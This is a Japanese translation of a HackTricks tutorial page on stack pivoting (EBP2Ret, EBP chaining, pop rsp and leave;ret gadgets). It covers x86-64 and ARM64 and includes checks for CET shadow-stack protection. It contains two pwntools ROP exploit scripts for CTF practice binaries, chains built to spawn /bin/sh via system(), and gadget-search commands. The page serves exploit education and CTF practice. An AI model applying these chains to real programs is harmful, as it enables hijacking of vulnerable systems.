スタックピボッティング - EBP2Ret - EBPチェイニング

Reading time: 18 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

この技術は、**ベースポインタ(EBP/RBP)を操作する能力を利用して、フレームポインタとleave; ret**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンするものです。

おさらいとして、x86/x86-64において**leave**は次のように等価です:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

そして、保存された EBP/RBP がスタック内で 保存された EIP/RIP の前にあるため、スタックを制御することでそれを制御することが可能です。

注意

  • 64ビットでは、EBP→RBP および ESP→RSP に置き換えます。意味は同じです。
  • 一部のコンパイラはフレームポインタを省略します(「EBP が使用されない可能性があります」を参照)。その場合、leave が表示されない可能性があり、この技術は機能しません。

EBP2Ret

この技術は、保存された EBP/RBP を変更できるが、EIP/RIP を直接変更する方法がない場合に特に有用です。関数のエピローグの動作を利用します。

fvuln の実行中に、シェルコード/ROP チェーンのアドレスがあるメモリ領域を指す 偽の EBP をスタックに注入することに成功すれば(amd64 では 8 バイト / x86 では 4 バイトの pop を考慮)、RIP を間接的に制御できます。関数が戻ると、leave が RSP を作成された位置に設定し、その後の pop rbp が RSP を減少させ、攻撃者によってそこに保存されたアドレスを指すようになります。その後、ret はそのアドレスを使用します。

2 つのアドレスを知る必要があることに注意してください: ESP/RSP が移動するアドレスと、そのアドレスに ret が消費する値です。

攻撃構築

まず、任意のデータ/アドレスを書き込むことができるアドレスを知る必要があります。RSP はここを指し、最初の ret を消費します

次に、実行を転送するために ret が使用するアドレスを選択する必要があります。次のように使用できます:

  • 有効な ONE_GADGET アドレス。
  • 適切な戻り値と引数に続く system() のアドレス(x86 の場合: ret ターゲット = &system、次に 4 バイトのジャンク、次に &"/bin/sh")。
  • インラインシェルコードに続く jmp esp; ガジェット (ret2esp) のアドレス。
  • 書き込み可能なメモリにステージされた ROP チェーン。

これらのアドレスの前には、leave からの pop ebp/rbp のためのスペースが必要です(amd64 では 8B、x86 では 4B)。これらのバイトを悪用して、2 番目の偽の EBP を設定し、最初の呼び出しが戻った後も制御を維持できます。

Off-By-One 攻撃

保存された EBP/RBP の最下位バイトのみを 変更できる 場合に使用されるバリアントがあります。この場合、ret でジャンプするアドレスを格納するメモリ位置は、元の EBP/RBP と最初の 3 バイト/5 バイトを共有する必要があるため、1 バイトの上書きでリダイレクトできます。通常、低バイト(オフセット 0x00)は、近くのページ/整列された領域内でできるだけ遠くにジャンプするために増加します。

スタック内に RET スレッドを使用し、実際の ROP チェーンを最後に配置して、新しい RSP がスレッド内を指し、最終的な ROP チェーンが実行される可能性を高めることも一般的です。

EBP チェイニング

スタックの保存された EBP スロットに制御されたアドレスを配置し、EIP/RIPleave; ret ガジェットを配置することで、ESP/RSP を攻撃者が制御するアドレスに移動させることが可能です。

これで RSP が制御され、次の命令は ret です。制御されたメモリに次のようなものを配置します:

  • &(次の偽の EBP) -> leave から pop ebp/rbp によって読み込まれます。
  • &system() -> ret によって呼び出されます。
  • &(leave;ret) -> system が終了した後、RSP を次の偽の EBP に移動させ、続行します。
  • &("/bin/sh") -> system の引数。

このようにして、プログラムのフローを制御するために複数の偽の EBP をチェーンすることが可能です。

これは ret2lib のようなものですが、より複雑で、エッジケースでのみ有用です。

さらに、ここに チャレンジの例 があり、この技術を使用して スタックリーク で勝利関数を呼び出します。これはページからの最終ペイロードです:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 アライメントのヒント: System V ABI は、呼び出しサイトで 16 バイトのスタックアライメントを要求します。system のような関数を呼び出すチェーンがある場合、アライメントを維持し、movaps のクラッシュを避けるために、呼び出しの前にアライメントガジェット(例: ret または sub rsp, 8 ; ret)を追加してください。

EBP は使用されない可能性がある

この投稿で説明されているように、バイナリがいくつかの最適化やフレームポインタの省略でコンパイルされている場合、EBP/RBP は ESP/RSP を制御しません。したがって、EBP/RBP を制御することによって機能するエクスプロイトは、プロローグ/エピローグがフレームポインタから復元しないため、失敗します。

  • 最適化されていない / フレームポインタが使用されている:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 最適化された / フレームポインタが省略された:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

amd64では、leave ; retの代わりにpop rbp ; retがよく見られますが、フレームポインタが完全に省略されている場合、ピボットするためのrbpベースのエピローグは存在しません。

RSPを制御する他の方法

pop rspガジェット

このページでは、この技術を使用した例を見つけることができます。そのチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、pop rspガジェットがあり、スタックからのリークがあります:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2espテクニックについては、こちらを確認してください:

Ret2esp / Ret2reg

ピボットガジェットを迅速に見つける

お気に入りのガジェットファインダーを使用して、クラシックなピボットプリミティブを検索します:

  • leave ; ret 関数またはライブラリ内
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (または add esp, <imm> ; ret x86の場合)

例:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

クラシックピボットステージングパターン

多くのCTFやエクスプロイトで使用される堅牢なピボット戦略:

  1. 小さな初期オーバーフローを使用して、read/recvを大きな書き込み可能領域(例:.bss、ヒープ、またはマップされたRWメモリ)に呼び出し、そこに完全なROPチェーンを配置します。
  2. ピボットガジェット(leave ; retpop rspxchg rax, rsp ; ret)に戻り、RSPをその領域に移動させます。
  3. ステージされたチェーンを続行します(例:libcをリークし、mprotectを呼び出し、次にシェルコードをreadし、それにジャンプします)。

スタックピボットを破る現代の緩和策(CET/シャドウスタック)

現代のx86 CPUとOSはますます**CETシャドウスタック(SHSTK)**を展開しています。SHSTKが有効な場合、retは通常のスタック上の戻りアドレスとハードウェア保護されたシャドウスタックを比較します;不一致があると、制御保護フォルトが発生し、プロセスが終了します。したがって、EBP2Ret/leave;retベースのピボットのような技術は、ピボットされたスタックから最初のretが実行されるとすぐにクラッシュします。

  • 背景と詳細については、次を参照してください:

CET & Shadow Stack

  • Linuxでのクイックチェック:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • ラボ/CTFのノート:

  • 一部の最新のディストリビューションは、ハードウェアとglibcのサポートがある場合、CET対応バイナリに対してSHSTKを有効にします。VMでの制御されたテストのために、SHSTKはカーネルブートパラメータnousershstkを介してシステム全体で無効にすることができ、起動時にglibcの調整を介して選択的に有効にすることができます(参照を参照)。本番ターゲットでの緩和策を無効にしないでください。

  • JOP/COOPまたはSROPベースの技術は、一部のターゲットで依然として有効かもしれませんが、SHSTKは特にretベースのピボットを破壊します。

  • Windowsの注意: Windows 10以降はユーザーモードを公開し、Windows 11はカーネルモードの「ハードウェア強制スタック保護」を追加します。CET互換プロセスは、retでのスタックピボティング/ROPを防ぎます。開発者はCETCOMPATおよび関連ポリシーを介してオプトインします(参照を参照)。

ARM64

ARM64では、関数のプロローグとエピローグスタックにSPレジスタを保存および取得しません。さらに、**RET命令はSPが指すアドレスに戻るのではなく、x30**内のアドレスに戻ります。

したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きすることでSPレジスタを制御することはできません。そして、たとえSPを制御できたとしても、x30レジスタを制御する方法がまだ必要です。

  • プロローグ
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FPはフレームレコードを指します
  • エピローグ
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

ARM64でスタックピボティングに似たことを行う方法は、SP制御することSPに渡される値を持つレジスタを制御するか、何らかの理由でSPがスタックからアドレスを取得しており、オーバーフローがある場合)であり、その後エピローグを悪用して、**制御されたSPからx30レジスタをロードし、RET**をそれに戻すことです。

次のページでは、ARM64におけるRet2espの同等物を見ることができます:

Ret2esp / Ret2reg

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする